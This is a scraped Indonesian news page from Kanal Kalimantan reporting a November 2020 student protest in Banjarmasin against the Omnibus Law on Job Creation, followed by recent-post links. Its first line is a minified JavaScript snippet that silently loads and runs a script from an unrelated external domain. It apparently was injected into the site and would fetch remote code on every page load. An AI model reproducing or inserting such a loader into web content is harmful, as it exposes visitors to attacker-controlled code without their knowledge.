(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Diteken Jokowi, Mahasiswa Kalsel Kembali Turun ke Jalan Tolak UU Ciptaker


KANALKALIMANTAN.COM, BANJARMASIN – Gelombang unjuk rasa penolakan Undang-Undang (UU) Omnibus Law Cipta Kerja yang sudah diteken Jokowi oleh mahasiswa di Kalimantan Selatan terus dilakukan.

Mahasiswa gabungan Badan Eksekutif Mahasiswa (BEM) se-Kalsel melakukan aksi penolakan UU Omnibus Law Cipta Kerja, Kamis (5/11/2020).

Setelah disahkan DPR RI kemudian resmi diteken oleh Presiden RI, Joko Widodo menjadi UU nomor 11 tahun 2020, BEM se Kalsel menyuarakan penolakan terhadap Omnibus Law UU Cipta Kerja.

Ketua BEM Universitas Lambung Mangkurat Ahdiat Zairullah kepada Kanalkalimantan.com dalam aksi turun ke jalan kali ini kembali menuntut penolakan UU Nomor 11 tahun 2020 Cipta Kerja yang ditandatangani Jokowi Senin (2/11/2020) lalu.

 

Mahasiswa gabungan Badan Eksekutif Mahasiswa (BEM) se-Kalsel melakukan aksi penolakan UU Omnibus Law Cipta Kerja, Kamis (5/11/2020). foto: putra

Sementara itu, Muhammad Padliansyah, Ketua BEM Uniska mengatakan, penolakan Omnibus Law Cipta Kerja yang sudah diteken dari Presiden RI adalah seruan aksi sidang rakyat menanti sikap pemerintah.

“Atas penetapan Undang-Undang yang sudah diteken oleh Presiden RI, secara tegas menyuarakan penolakan Omnibus Law Cipta Kerja, kami (mahasiswa) menanti sikap pemerintah,” jelasnya.

Pantauan Kanalkalimantan.com pukul 10.30 Wita, massa mahasiswa mulai memadati dengan duduk di depan bundaran BI berorasi kajian penolakan Omnibus Law Cipta Kerja.

Sejumlah mahasiswa juga membagikan selebaran kertas kepada masyarakat terkait hasil kajian yang dilakukan oleh BEM se Kalsel. Mahasiswa yang turun berdemo lebih dari 100, salah satu mahasiswa menyampaikan orasi di tengah aksi unjuk rasa.

Sekadar dicatat sejak Oktober lalu, aksi turun ke jalan digelar mahasiswa gabungan sudah dilakukan sebanyak empat kali.

Aksi pertama pada 8 Oktober lalu, kemudian berlanjut pada 15 Oktober dan dua demontrasi terakhir pada 20 Oktober dan 28 Oktober 2020 lalu. (kanalkalimantan.com/putra)

Reporter: putra
Editor: bie


Al Ghifari

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

56 menit ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

2 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

4 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

4 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

17 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

19 jam ago

This website uses cookies.